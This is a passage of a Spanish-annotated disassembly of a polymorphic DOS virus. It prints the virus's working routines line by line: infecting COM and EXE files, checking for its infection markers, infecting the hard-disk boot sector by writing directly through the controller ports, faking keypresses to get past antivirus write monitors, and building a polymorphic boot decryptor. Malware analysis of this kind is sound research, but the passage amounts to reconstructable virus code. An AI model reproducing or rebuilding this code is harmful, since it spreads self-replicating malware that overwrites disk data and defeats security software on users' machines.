a :129E            ∩0DA6:1292 3D5A4D        CMP     AX,4D5A         Ω; Comprueba si son 'ZM'            ∩0DA6:1295 7407          JZ      129E            Ω; Si son, salta a :129E            ∩0DA6:1297 E857F3        CALL    05F1            Ω; Infecta el archivo como COM      ∩0DA6:129A 7214          JB      12B0            Ω; Si hay error, salta y acaba      ∩0DA6:129C EB05          JMP     12A3            Ω; Salta a :12A3                                                                   Ω; Aquí desde :1290 y :1295 si                                                       Ω; el archivo es EXE                  ∩0DA6:129E E84AF2        CALL    04EB            Ω; Infecta el archivo como EXE      ∩0DA6:12A1 720D          JB      12B0            Ω; Si hay error, salta y acaba                                                     Ω; Aquí desde :129C si no ha ha-                                                     Ω; habido error al infectar el                                                       Ω; archivo como COM                   ∩0DA6:12A3 A17E01        MOV     AX,[017E]       Ω; Pone en AX la hora del archi-                                                    Ω; vo                                ∩0DA6:12A6 24E0          AND     AL,E0           Ω; Anula los segundos en AL         ∩0DA6:12A8 0C11          OR      AL,11           Ω; Los pone a 34                    ∩0DA6:12AA A37E01        MOV     [017E],AX       Ω; Pone en [017E] la nueva hora     ∩0DA6:12AD E8CAF3        CALL    067A            Ω; Recupera la hora del handle                                                     Ω; Aquí a lo largo de la rutina                                                      Ω; si hay error                       ∩0DA6:12B0 58            POP     AX              Ω; Saca AX del stack                ∩0DA6:12B1 9D            POPF                    Ω; Saca las banderas                ∩0DA6:12B2 B43E          MOV     AH,3E           Ω; Cierra el handle                 ∩0DA6:12B4 E80EF0        CALL    02C5                                                ∩0DA6:12B7 50            PUSH    AX              Ω; Mete AX y las banderas en el     ∩0DA6:12B8 9C            PUSHF                   Ω; stack                            ∩0DA6:12B9 E84DFF        CALL    1209            Ω; "Desparchea" las ints 24h y                                                      Ω; 1Bh                               ∩0DA6:12BC 9D            POPF                    Ω; Saca las banderas y AX de        ∩0DA6:12BD 58            POP     AX              Ω; nuevo                            ∩0DA6:12BE 5E            POP     SI              Ω; Saca el resto de los regis-      ∩0DA6:12BF 5F            POP     DI              Ω; tros                             ∩0DA6:12C0 1F            POP     DS                                                  ∩0DA6:12C1 07            POP     ES                                                  ∩0DA6:12C2 5A            POP     DX                                                  ∩0DA6:12C3 59            POP     CX                                                  ∩0DA6:12C4 5B            POP     BX                                                  ∩0DA6:12C5 C3            RET                     Ω; Retorna                                                                                                               ε;;;;;;;; Rutina para obtener el nombre del handle, copiarlo a la zona de datos      ε;;;;;;;; que se usa y comprobar su nombre para ver si es un archivo especial                                                                                             ∩0DA6:12C6 53            PUSH    BX              Ω; Guarda BX (el handle)            ∩0DA6:12C7 B82012        MOV     AX,1220         Ω; Obtiene en ES:DI la dirección    ∩0DA6:12CA CD2F          INT     2F              Ω; de la Job File Table (JFT),                                                      Ω; que sólo usará para obtener                                                       Ω; el número identificador del                                                       Ω; handle                            ∩0DA6:12CC 7304          JNB     12D2            Ω; Si no hay error, salta           ∩0DA6:12CE F9            STC                     Ω; Pone CF a 1                      ∩0DA6:12CF EB73          JMP     1344            Ω; Salta y acaba                    ∩0DA6:12D1 90            NOP                     Ω; ¿Tasm 1.0 ó /m2 en vez de                                                        Ω; /m3?                              ∩0DA6:12D2 26            ES:                     Ω; Comprueba si el primer byte      ∩0DA6:12D3 803DFF        CMP     BYTE PTR [DI],FF Ω; de la JFT es FFh, porque si                                                      Ω; es, significa que el handle                                                       Ω; pasado no estaba abierto         ∩0DA6:12D6 74F6          JZ      12CE            Ω; Si es, salta y acaba             ∩0DA6:12D8 33DB          XOR     BX,BX           Ω; BH = 0                           ∩0DA6:12DA 26            ES:                                                         ∩0DA6:12DB 8A1D          MOV     BL,[DI]         Ω; En BL el identificador de ar-                                                    Ω; chivo del handle                  ∩0DA6:12DD B81612        MOV     AX,1216         Ω; Obtiene mediante esta función    ∩0DA6:12E0 CD2F          INT     2F              Ω; la System File Table (SFT)       ∩0DA6:12E2 7260          JB      1344            Ω; Si hay error, salta y acaba      ∩0DA6:12E4 06            PUSH    ES              Ω; DS = ES                          ∩0DA6:12E5 1F            POP     DS                                                  ∩0DA6:12E6 0E            PUSH    CS              Ω; ES = CS                          ∩0DA6:12E7 07            POP     ES                                                  ∩0DA6:12E8 836502F8      AND     WORD PTR [DI+02],-08 Ω; Anula los 3 bits infe-      ∩0DA6:12EC 834D0202      OR      WORD PTR [DI+02],+02 Ω; riores del modo de acce-                                                         Ω; so al handle y pone el                                                            Ω; modo 2 de acceso (lectu-                                                          Ω; ra/escritura)                ∩0DA6:12F0 83C720        ADD     DI,+20          Ω; En DI la dirección donde se                                                      Ω; encuentra el nombre del han-                                                      Ω; dle                               ∩0DA6:12F3 8BF7          MOV     SI,DI           Ω; Pone en SI esta dirección        ∩0DA6:12F5 FC            CLD                     Ω; Hacia delante                    ∩0DA6:12F6 56            PUSH    SI              Ω; Guarda SI                        ∩0DA6:12F7 BF4807        MOV     DI,0748         Ω; En DI la dirección donde va                                                      Ω; a copiar el nombre del archi-                                                     Ω; vo al que pertenece el handle     ∩0DA6:12FA 33DB          XOR     BX,BX           Ω; BX = 0                           ∩0DA6:12FC B90800        MOV     CX,0008         Ω; CX = 8                           ∩0DA6:12FF AC            LODSB                   Ω; Carga un byte del nombre         ∩0DA6:1300 3C20          CMP     AL,20           Ω; Mira si es un espacio            ∩0DA6:1302 7404          JZ      1308            Ω; Si es, acaba el LOOP             ∩0DA6:1304 AA            STOSB                   Ω; Lo almacena                      ∩0DA6:1305 43            INC     BX              Ω; Incrementa BX, indicando que                                                     Ω; era un caracter y no un espa-                                                     Ω; cio                               ∩0DA6:1306 E2F7          LOOP    12FF            Ω; Hace LOOP y lo repite 8 veces    ∩0DA6:1308 B02E          MOV     AL,2E           Ω; AL = '.'                         ∩0DA6:130A AA            STOSB                   Ω; Almacena el punto                ∩0DA6:130B 43            INC     BX              Ω; Incrementa BX                    ∩0DA6:130C 5E            POP     SI              Ω; Saca el anterior SI              ∩0DA6:130D 83C608        ADD     SI,+08          Ω; Le suma 8 para tener en SI                                                       Ω; la dirección de la extensión                                                      Ω; del archivo                       ∩0DA6:1310 B90300        MOV     CX,0003         Ω; CX = 3                           ∩0DA6:1313 AC            LODSB                   Ω; Carga el caracter en SI          ∩0DA6:1314 3C20          CMP     AL,20           Ω; Comprueba si es un espacio       ∩0DA6:1316 7406          JZ      131E            Ω; Si es, salta y acaba el LOOP     ∩0DA6:1318 AA            STOSB                   Ω; Almacena el caracter             ∩0DA6:1319 43            INC     BX              Ω; Incrementa BL y BH               ∩0DA6:131A FEC7          INC     BH                                                  ∩0DA6:131C E2F5          LOOP    1313            Ω; Hace LOOP 3 veces                ∩0DA6:131E 80FF03        CMP     BH,03           Ω; Comprueba si BH es 3 (la lon-                                                    Ω; gitud de la extensión)            ∩0DA6:1321 7403          JZ      1326            Ω; Si es 3, continúa (así es co-                                                    Ω; rrecto)                           ∩0DA6:1323 F9            STC                     Ω; Pone Carry Flag (aunque ya                                                       Ω; está puesto, ya que si no es                                                      Ω; tres, se encenderá el flag                                                        Ω; B, que también es llamado                                                         Ω; Carry Flag, ya que será un                                                        Ω; número menor que 3)               ∩0DA6:1324 EB1E          JMP     1344            Ω; Salta y acaba                                                                   Ω; Aquí desde :1321                   ∩0DA6:1326 83EE03        SUB     SI,+03          Ω; Resta 3 a SI                     ∩0DA6:1329 AD            LODSW                   Ω; Carga las dos primeras letras                                                    Ω; de la extensión                   ∩0DA6:132A 3D4558        CMP     AX,5845         Ω; Mira si son la cadena 'EX'       ∩0DA6:132D 7405          JZ      1334            Ω; Si son, salta                    ∩0DA6:132F 3D434F        CMP     AX,4F43         Ω; Mira si forman la cadena 'CO'    ∩0DA6:1332 75EF          JNZ     1323            Ω; Si no, salta y acaba             ∩0DA6:1334 AC            LODSB                   Ω; Carga el siguiente caracter      ∩0DA6:1335 3D4558        CMP     AX,5845         Ω; Mira si es la cadena 'EX'                                                        Ω; (teniendo ahora en AL la ter-                                                     Ω; cera letra de la extensión)       ∩0DA6:1338 7405          JZ      133F            Ω; Si es, continúa en :133F         ∩0DA6:133A 3D4D4F        CMP     AX,4F4D         Ω; Mira si es la cadena 'MO' (y                                                     Ω; en AL el último byte, que mi-                                                     Ω; ra si es 'M')                     ∩0DA6:133D 75E4          JNZ     1323            Ω; Si no es, salta y acaba          ∩0DA6:133F B700          MOV     BH,00           Ω; BH = 0                           ∩0DA6:1341 E867F3        CALL    06AB            Ω; Mira si el nombre es el de un                                                    Ω; archivo especial. Devuelve                                                        Ω; carry y pone ciertos flags en                                                     Ω; :018C a 1                         ∩0DA6:1344 5B            POP     BX              Ω; Saca BX del stack                ∩0DA6:1345 C3            RET                     Ω; Retorna                                                                                                               ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;; Rutina para mirar si un archivo ya está infectado. Devuelve CF si está ;;;      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                           ∩0DA6:1346 F6068C0104    TEST    BYTE PTR [018C],04 Ω; Mira si el bit 3 en [018C]                                                     Ω; está a 1, lo que indica que                                                       Ω; el sistema operativo es                                                           Ω; WINDblOWS 95                     ∩0DA6:134B 742A          JZ      1377             Ω; Si no está, salta               ∩0DA6:134D 803E790100    CMP     BYTE PTR [0179],00 Ω; Mira si es un archivo                                                            Ω; COM                            ∩0DA6:1352 741C          JZ      1370            Ω; Si es, salta                     ∩0DA6:1354 8B440E        MOV     AX,[SI+0E]      Ω; Obtiene el word situado en                                                       Ω; los bytes nº 0Eh y 0Fh de                                                         Ω; la cabecera, que es el seg-                                                       Ω; mento SS                          ∩0DA6:1357 2B4416        SUB     AX,[SI+16]      Ω; Le resta el IP inicial del                                                       Ω; virus                             ∩0DA6:135A 741B          JZ      1377            Ω; Si es 0, salta a :1377           ∩0DA6:135C 2D0300        SUB     AX,0003         Ω; Mira si AX es 1, 2 o 3           ∩0DA6:135F 7716          JA      1377            Ω; Si no lo es, salta               ∩0DA6:1361 8B4414        MOV     AX,[SI+14]      Ω; Pone en AX el IP inicial         ∩0DA6:1364 3D6A1E        CMP     AX,1E6A         Ω; Comprueba si es 1E6A (el ta-                                                     Ω; maño del virus)                   ∩0DA6:1367 720E          JB      1377            Ω; Si es menor, no está infec-                                                      Ω; tado y salta                      ∩0DA6:1369 3DC41E        CMP     AX,1EC4         Ω; Comprueba si es el tamaño                                                        Ω; máximo que puede tener el                                                         Ω; virus después de haberlo in-                                                      Ω; fectado polimórficamente (el                                                      Ω; virus puede tener un tamaño                                                       Ω; entre 1E6Ah y 1EC4h)              ∩0DA6:136C 7709          JA      1377            Ω; Si es mayor, no está infecta-                                                    Ω; do                                ∩0DA6:136E F9            STC                     Ω; Pone Carry Flag a 1              ∩0DA6:136F C3            RET                     Ω; Retorna                                                                  Ω; Aquí desde :1370 y si el byte en                                                  Ω; [0179] es 0, indicando un archivo                                                 Ω; COM                                       ∩0DA6:1370 803CE9        CMP     BYTE PTR [SI],E9 Ω; Comprueba si el primer byte                                             Ω; del COM leído es 0E9h (opcode de JMP,                                             Ω; y como al infectar un COM ha de in-                                               Ω; sertar un JMP al principio, éste sir-                                             Ω; ve de marca de infección)                 ∩0DA6:1373 7502          JNZ     1377    Ω; Si no es, salta                          ∩0DA6:1375 F9            STC             Ω; Aquí si el archivo está infectado        ∩0DA6:1376 C3            RET             Ω; Retorna con carry flag                                                           Ω; Salta desde :1377 si el sistema ope-                                              Ω; rativo es WINDOWS 95                      ∩0DA6:1377 F8            CLC             Ω; Carry Flag a 0                           ∩0DA6:1378 C3            RET             Ω; Retorna                                                                                                                       ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;; Rutina para comprobar si el sistema ya está infectado, e infectarlo si no;      ε;;; lo está. Hace cosas tan "comunes" como infectar el BOOT sin usar la int  ;      ε;;; 13h (directamente por los ports de la controladora), etc. etc.           ;      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                           ∩0DA6:1379 B84554        MOV     AX,5445     Ω; Install-check para ver si la         ∩0DA6:137C CD13          INT     13          Ω; interrupción 13h está ya redi-       ∩0DA6:137E 3D5445        CMP     AX,4554     Ω; reccionada por el virus              ∩0DA6:1381 7422          JZ      13A5        Ω; Si da positivo, acaba                ∩0DA6:1383 0E            PUSH    CS          Ω; ES = CS                              ∩0DA6:1384 07            POP     ES                                                  ∩0DA6:1385 33C0          XOR     AX,AX       Ω; DS = 0000                            ∩0DA6:1387 8ED8          MOV     DS,AX                                               ∩0DA6:1389 BE4C00        MOV     SI,004C     Ω; En SI la dirección que apunta                                                    Ω; al puntero de la int 13h              ∩0DA6:138C BF4714        MOV     DI,1447     Ω; En DI la zona donde será guarda-                                                 Ω; do.                                   ∩0DA6:138F FC            CLD                 Ω; Lo coge                              ∩0DA6:1390 A5            MOVSW                                                       ∩0DA6:1391 A5            MOVSW                                                       ∩0DA6:1392 0E            PUSH    CS          Ω; DS = CX                              ∩0DA6:1393 1F            POP     DS                                                  ∩0DA6:1394 BA8000        MOV     DX,0080     Ω; Lee el primer sector del primer      ∩0DA6:1397 B90100        MOV     CX,0001     Ω; cilindro del primer cabezal del      ∩0DA6:139A B80102        MOV     AX,0201     Ω; disco duro. El BOOT, vamos.          ∩0DA6:139D BB6A1E        MOV     BX,1E6A     Ω; En 1E6Ah el buffer de lectura        ∩0DA6:13A0 E80205        CALL    18A5        Ω; Función que emula la llamada a                                                   Ω; la int 13h                            ∩0DA6:13A3 7303          JNB     13A8        Ω; Si no hay error, continúa            ∩0DA6:13A5 EB61          JMP     1408        Ω; En caso contrario, acaba             ∩0DA6:13A7 90            NOP                 Ω; ¿¿TASM v1.0 o TASM sin la opción                                                 Ω; /m# ??                                ∩0DA6:13A8 A16C1F        MOV     AX,[1F6C]   Ω; Obtiene en AX el word en el byte                                                 Ω; número 102h del BOOT                  ∩0DA6:13AB 2B066A1F      SUB     AX,[1F6A]   Ω; Le resta el byte 100h                ∩0DA6:13AF 3DFFCC        CMP     AX,CCFF     Ω; Mira si el resultado es CCFFh        ∩0DA6:13B2 74F1          JZ      13A5        Ω; Si lo es, acaba                      ∩0DA6:13B4 B408          MOV     AH,08       Ω; Obtiene el formato del disco du-     ∩0DA6:13B6 B280          MOV     DL,80       Ω; ro en CX y DX                        ∩0DA6:13B8 E8EA04        CALL    18A5        Ω; Int 13h                              ∩0DA6:13BB B81003        MOV     AX,0310     Ω; Va a escribir el propio virus en     ∩0DA6:13BE 33DB          XOR     BX,BX       Ω; una zona del disco duro que si                                                   Ω; está ocupada por otro programa,                                                   Ω; éste será sobreescrito.               ∩0DA6:13C0 FEC5          INC     CH          Ω; Incrementa el cilindro obtenido      ∩0DA6:13C2 890E111B      MOV     [1B11],CX   Ω; Guarda CX en :1B11                   ∩0DA6:13C6 FECE          DEC     DH          Ω; Decrementa el número de cabezal                                                  Ω; obtenido                              ∩0DA6:13C8 80E910        SUB     CL,10       Ω; Resta al número de sector obte-                                                  Ω; nido 16                               ∩0DA6:13CB B280          MOV     DL,80       Ω; Escribe en disco duro                ∩0DA6:13CD E8D504        CALL    18A5        Ω; Int 13h                                                                          Ω; O sea, que ha escrito el virus                                                    Ω; en 16 de los 17 últimos sectores                                                  Ω; totales del disco duro.               ∩0DA6:13D0 72D3          JB      13A5        Ω; Si hay error, acaba                  ∩0DA6:13D2 80C110        ADD     CL,10       Ω; Suma a CL 16 para obtener el va-                                                 Ω; lor anterior                          ∩0DA6:13D5 BB6A1E        MOV     BX,1E6A     Ω; Pone el buffer de escritura don-                                                 Ω; de ha leído el BOOT anteriormen-                                                  Ω; te.                                   ∩0DA6:13D8 B80103        MOV     AX,0301     Ω; Guarda el BOOT original en el                                                    Ω; ultimísimo sector del disco duro      ∩0DA6:13DB E85E02        CALL    163C        Ω; Rutina para comprobar algo en el                                                 Ω; BOOT que no he identificado. De-                                                  Ω; be de ser un programa antivirus.                                                  Ω; Sea el programa que sea, lo deja                                                  Ω; frito.                                ∩0DA6:13DE E8C404        CALL    18A5        Ω; Escribe el BOOT en ese sector        ∩0DA6:13E1 72C2          JB      13A5        Ω; Si hay error, acaba                  ∩0DA6:13E3 FC            CLD                 Ω; DF a 0                               ∩0DA6:13E4 B301          MOV     BL,01       Ω; Pone en BL 1 para indicarle que                                                  Ω; se va a infectar un disco duro        ∩0DA6:13E6 E87900        CALL    1462        Ω; Rutina para hacer en :1E6A un                                                    Ω; BOOT para el disco duro o dis-                                                    Ω; kette, según BL. Esta rutina                                                      Ω; polimorfea un BOOT que tiene                                                      Ω; preparado para tal efecto.            ∩0DA6:13E9 BA8000        MOV     DX,0080     Ω; Escribe en el disco duro, en         ∩0DA6:13EC B90100        MOV     CX,0001     Ω; sector 1 del cilindro 0 del ca-      ∩0DA6:13EF B80103        MOV     AX,0301     Ω; bezal 0 un sector (512 bytes)        ∩0DA6:13F2 BB6A1E        MOV     BX,1E6A     Ω; que será el BOOT que ha prepa-                                                   Ω; rado, pero antes...                   ∩0DA6:13F5 F6068C0180    TEST    BYTE PTR [018C],80 Ω; ...comprueba si el bit                                                    Ω; nº7 de :018C está activo, y por                                                   Ω; tanto WINDOWS está en memoria         ∩0DA6:13FA 7409          JZ      1405        Ω; Si no lo está, salta                 ∩0DA6:13FC 50            PUSH    AX          Ω; Guarda registros para pasárselos     ∩0DA6:13FD 53            PUSH    BX          Ω; a la función en :1945                ∩0DA6:13FE 51            PUSH    CX                                                  ∩0DA6:13FF 52            PUSH    DX                                                  ∩0DA6:1400 E84205        CALL    1945        Ω; Escribe el BOOT modificando al                                                   Ω; mismo tiempo la interrupción 16h                                                  Ω; y comprobando si se llama a és-                                                   Ω; ta. Si se le llama, entonces in-                                                  Ω; serta en el buffer de teclado                                                     Ω; combinaciones de las teclas 'Y'                                                   Ω; y 'N' para saltarse el supuesto                                                   Ω; monitor que le pregunta si se                                                     Ω; quiere continuar con la acción                                                    Ω; de escritura                          ∩0DA6:1403 7303          JNB     1408        Ω; Si no hay error y por consiguien-                                                Ω; te ha escrito el BOOT correcta-                                                   Ω; mente, salta y retorna                ∩0DA6:1405 E8CF05        CALL    19D7        Ω; Comprueba si el disco está co-                                                   Ω; rrectamente, y si lo está escri-                                                  Ω; be el BOOT al disco duro median-                                                  Ω; te los ports de la propia con-                                                    Ω; troladora, es decir que el que                                                    Ω; ha hecho este virus ES UN BESTIA      ∩0DA6:1408 C3            RET                 Ω; Retorna                                                                                                                   ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;     ε;;;; BOOT que el virus tiene dispuesto para modificar (polimorfear) e infectar;     ε;;;; con él lo que sea menester                                               ;     ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                          ∩0DA6:1409 FA            CLI                 Ω; No permite interrupciones            ∩0DA6:140A 33C0          XOR     AX,AX       Ω; SS = 0                               ∩0DA6:140C 8ED0          MOV     SS,AX                                               ∩0DA6:140E BC007C        MOV     SP,7C00     Ω; SP = 7C00h                           ∩0DA6:1411 8ED8          MOV     DS,AX       Ω; Todas estas instrucciones son        ∩0DA6:1413 B2A9          MOV     DL,A9       Ω; la rutina de desencriptado, que      ∩0DA6:1415 BE167C        MOV     SI,7C16     Ω; son muy variables, ya que el vi-     ∩0DA6:1418 0014          ADD     [SI],DL     Ω; rus polimorfea estas instruccio-     ∩0DA6:141A 46            INC     SI          Ω; nes. Sólo son instrucciones fi-      ∩0DA6:141B FEC2          INC     DL          Ω; jas a partir de :141F o :1DEF        ∩0DA6:141D 7EF9          JLE     1418                                                                                                                                     ε;;;; Parte de BOOT para discos duros                                                                                                                                     ∩0DA6:141F FB            STI                 Ω; Permite interrupciones de nuevo      ∩0DA6:1420 CD12          INT     12          Ω; Obtiene en AX la cantidad de RAM                                                 Ω; disponible en bytes                   ∩0DA6:1422 2D0900        SUB     AX,0009     Ω; Resta 9 Kb a la memoria total        ∩0DA6:1425 B106          MOV     CL,06       Ω; Multiplica por 64 el número ob-      ∩0DA6:1427 D3E0          SHL     AX,CL       Ω; tenido para obtener el segmento                                                  Ω; donde comenzará la memoria roba-                                                  Ω; da de esta manera.                    ∩0DA6:1429 8EC0          MOV     ES,AX       Ω; ES = segmento "reservado"            ∩0DA6:142B B408          MOV     AH,08       Ω; Obtiene el formato de disco duro     ∩0DA6:142D B280          MOV     DL,80                                               ∩0DA6:142F CD13          INT     13                                                  ∩0DA6:1431 FEC5          INC     CH          Ω; Obtiene la zona donde guarda el      ∩0DA6:1433 FECE          DEC     DH          Ω; virus en el disco duro               ∩0DA6:1435 80E910        SUB     CL,10                                               ∩0DA6:1438 B280          MOV     DL,80       Ω; Lee en ES:BX 17 sectores (16 don-    ∩0DA6:143A B81102        MOV     AX,0211     Ω; de se encuentra el virus y 1 para    ∩0DA6:143D 33DB          XOR     BX,BX       Ω; el BOOT original, que lo guarda      ∩0DA6:143F CD13          INT     13          Ω; a continuación)                      ∩0DA6:1441 06            PUSH    ES          Ω; En el stack el segmento donde ha                                                 Ω; copiado el virus                      ∩0DA6:1442 B84B14        MOV     AX,144B     Ω; Ahora guarda en el stack el IP       ∩0DA6:1445 50            PUSH    AX          Ω; donde va a saltar                    ∩0DA6:1446 CB            RETF                ;                                                                               Ω; En el BOOT infectado se copia hasta                                               Ω; aquí. Lo siguiente ya es sacado del                                               Ω; mismo virus una vez copiado a memoria                                             Ω; y todo eso, de manera que no necesita                                             Ω; copiar todo el virus en el BOOT.                                                                                               ∩0DA6:1447 7407          JZ      1450    Ω; Zona donde se guarda el puntero a la     ∩0DA6:1449 7000          JO      144B    Ω; interrupción 13h original. En la ru-                                             Ω; tina en :1876 pone aquí la int 21h.                                                                                                                                   Ω; Aquí desde el BOOT infectado y estan-                                             Ω; do esto ya en memoria.                     ∩0DA6:144B 1E            PUSH    DS          Ω; ES = DS                              ∩0DA6:144C 07            POP     ES                                                  ∩0DA6:144D 0E            PUSH    CS          Ω; DS = CS                              ∩0DA6:144E 1F            POP     DS                                                  ∩0DA6:144F BF007C        MOV     DI,7C00     Ω; DI = 7C00                            ∩0DA6:1452 06            PUSH    ES          Ω; Guarda ES y DI en el stack           ∩0DA6:1453 57            PUSH    DI                                                  ∩0DA6:1454 BE0020        MOV     SI,2000     Ω; En SI la dirección del BOOT ori-                                                 Ω; ginal                                 ∩0DA6:1457 FC            CLD                 Ω; Hacia delante                        ∩0DA6:1458 B90002        MOV     CX,0200     Ω; Copia 512 bytes                      ∩0DA6:145B F3            REPZ                                                        ∩0DA6:145C A4            MOVSB                                                       ∩0DA6:145D E89102        CALL    16F1        Ω; Rutina para enganchar la int 1Ch                                                 Ω; para instalar el virus en memo-                                                   Ω; ria, comprobar si es día de des-                                                  Ω; trucción del sistema y desinfec-                                                  Ω; ción del BOOT                         ∩0DA6:1460 FB            STI                 Ω; Permite interrupciones (esto ya                                                  Ω; se lo había puesto antes de sa-                                                   Ω; lir de la rutina en :16F1)            ∩0DA6:1461 CB            RETF                Ω; Fin de la rutina Boot-Strap del                                                  Ω; virus. Ahora salta a la del pro-                                                  Ω; pio sistema, al BOOT original.                                                                                             ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;     ε;;; Rutina para polimorfear y formar una rutina de desencriptado para el BOOT ;     ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                          ∩0DA6:1462 C706BA200000  MOV     WORD PTR [20BA],0000  Ω; En la dirección :20BA,                                                     Ω; pone el valor word 0. Esta                                                        Ω; dirección es la que usa para                                                      Ω; hacer las cadenas aleatorias                                                      Ω; en la función de call :08D0       ∩0DA6:1468 53            PUSH    BX              Ω; Guarda BX en el stack            ∩0DA6:1469 FC            CLD                     Ω; DF a 0                           ∩0DA6:146A E849F4        CALL    08B6            Ω; Obtiene un número en BX en-                                                      Ω; tre 0 y 2                         ∩0DA6:146D 8AA77E0F      MOV     AH,[BX+0F7E]    Ω; Obtiene en AH el valor BBh,                                                      Ω; BFh o BEh                         ∩0DA6:1471 88261514      MOV     [1415],AH       Ω; Lo pone en [1415] para hacer                                                     Ω; MOV BX, MOV SI o MOV DI           ∩0DA6:1475 8AA7840F      MOV     AH,[BX+0F84]    Ω; Obtiene en AH el valor 43h,                                                      Ω; 47h o 46h                         ∩0DA6:1479 88261A14      MOV     [141A],AH       Ω; Lo pone en [141A] para hacer                                                     Ω; INC BX, INC DI o INC SI           ∩0DA6:147D 8AD3          MOV     DL,BL        Ω; Pone el número este en DL           ∩0DA6:147F 80C303        ADD     BL,03        Ω; Le suma 3 a BL                      ∩0DA6:1482 80FB03        CMP     BL,03        Ω; Comprueba si BL es 3 ahora          ∩0DA6:1485 7503          JNZ     148A         Ω; Si no es, se salta lo siguiente     ∩0DA6:1487 80EB02        SUB     BL,02        Ω; Le resta 2 a BL                     ∩0DA6:148A 881E5D0F      MOV     [0F5D],BL    Ω; Pone en [0F5D] este valor. Al                                                    Ω; llegar aquí, BL tiene valor 1,                                                    Ω; 4 o 5.                               ∩0DA6:148E E8A9F4        CALL    093A         Ω; Obtiene en AX un número de la                                                    Ω; cadena de aleatorios "general".      ∩0DA6:1491 F7D0          NOT     AX           Ω; NOTea AX  :)                        ∩0DA6:1493 2407          AND     AL,07        Ω; Elimina los 5 bits superiores                                                    Ω; de AL                                ∩0DA6:1495 8AD8          MOV     BL,AL        Ω; Lo pone en BL                       ∩0DA6:1497 D0E8          SHR     AL,1         Ω; Lo divide entre 2                   ∩0DA6:1499 38065D0F      CMP     [0F5D],AL    Ω; Comprueba si es igual al guar-                                                   Ω; dado anteriormente                   ∩0DA6:149D 74EF          JZ      148E         Ω; Si es igual, salta y vuelve a                                                    Ω; hacer el proceso                     ∩0DA6:149F 881E5E0F      MOV     [0F5E],BL    Ω; Guarda el nuevo byte                ∩0DA6:14A3 8AA7A60F      MOV     AH,[BX+0FA6] Ω; Obtiene en AH otro valor de                                                      Ω; opcode que puede ser B0, B4,                                                      Ω; B3, B7, B1, B5, B2 o B6              ∩0DA6:14A7 88261314      MOV     [1413],AH    Ω; Lo pone en [1413] para formar                                                    Ω; MOV AL/AH/BL/BH/CL/CH/DL/DH,XX       ∩0DA6:14AB 8AA7D60F      MOV     AH,[BX+0FD6] Ω; Coge otro código de opcode en                                                    Ω; AH que puede ser C0, C4, C3,                                                      Ω; C7, C1, C5, C2 o C6                  ∩0DA6:14AF 88261C14      MOV     [141C],AH    Ω; Lo pone en [141C], para formar                                                   Ω; INC AL/AH/BL/BH/CL/CH/DL/DH          ∩0DA6:14B3 D0E2          SHL     DL,1         Ω; Coge el primer número y lo mul-     ∩0DA6:14B5 D0E2          SHL     DL,1         Ω; tiplica por 8                       ∩0DA6:14B7 D0E2          SHL     DL,1                                                ∩0DA6:14B9 02DA          ADD     BL,DL        Ω; Se lo suma a BL                     ∩0DA6:14BB 8AA7AE0F      MOV     AH,[BX+0FAE] Ω; Obtiene otro valor de opcode        ∩0DA6:14BF 88261914      MOV     [1419],AH    Ω; Lo pone en [1419] para formar                                                    Ω; ADD [BX/SI/DI],AH/AL/BH/BL...        ∩0DA6:14C3 E874F4        CALL    093A         Ω; Obtiene otro número de la cade-                                                  Ω; na de aleatorios                     ∩0DA6:14C6 8ADC          MOV     BL,AH        Ω; Pone a AH en BL                     ∩0DA6:14C8 83E303        AND     BX,+03       Ω; Anula los 14 bits superiores de                                                  Ω; BX                                   ∩0DA6:14CB 8AA7E60F      MOV     AH,[BX+0FE6] Ω; Obtiene un valor de opcode en                                                    Ω; AH, que puede ser 75h, 78h, 7Ch                                                   Ω; y 7Eh                                ∩0DA6:14CF 88261D14      MOV     [141D],AH    Ω; Lo pone en [141D] para formar                                                    Ω; la instrucción JNZ/JS/JL/JLE         ∩0DA6:14D3 E8E0F3        CALL    08B6         Ω; Obtiene un número entre 1 y 2       ∩0DA6:14D6 8A87D20F      MOV     AL,[BX+0FD2] Ω; Coge un código de opcode en AL                                                   Ω; que puede ser 0 o 28h                ∩0DA6:14DA B4E0          MOV     AH,E0        Ω; En AH pone el valor E0h             ∩0DA6:14DC A3A315        MOV     [15A3],AX    Ω; Forma en [15A3] la instrucción                                                   Ω; ADD AH,AL o SUB AH,AL                ∩0DA6:14DF 80F303        XOR     BL,03        Ω; Invierte BL. Si antes era 1,                                                     Ω; ahora es 2, y si antes era 2,                                                     Ω; ahora es 1                           ∩0DA6:14E2 8A87D20F      MOV     AL,[BX+0FD2] Ω; Obtiene el valor 28h o 0            ∩0DA6:14E6 A21814        MOV     [1418],AL    Ω; Hace lo mismo que en la opera-                                                   Ω; ción anterior pero si antes era                                                   Ω; SUB, ahora es ADD y viceversa.       ∩0DA6:14E9 E84EF4        CALL    093A         Ω; Obtiene otro número de la cade-                                                  Ω; na de aleatorios                     ∩0DA6:14EC 80CC80        OR      AH,80        Ω; Pone a 1 el bit 7 de AH             ∩0DA6:14EF 80FCD8        CMP     AH,D8        Ω; Comprueba si el valor en AH es      ∩0DA6:14F2 73F5          JNB     14E9         Ω; mayor o igual a D8h, y si lo es                                                  Ω; vuelve a repetir el proceso          ∩0DA6:14F4 5B            POP     BX           Ω; Saca el BX del principio            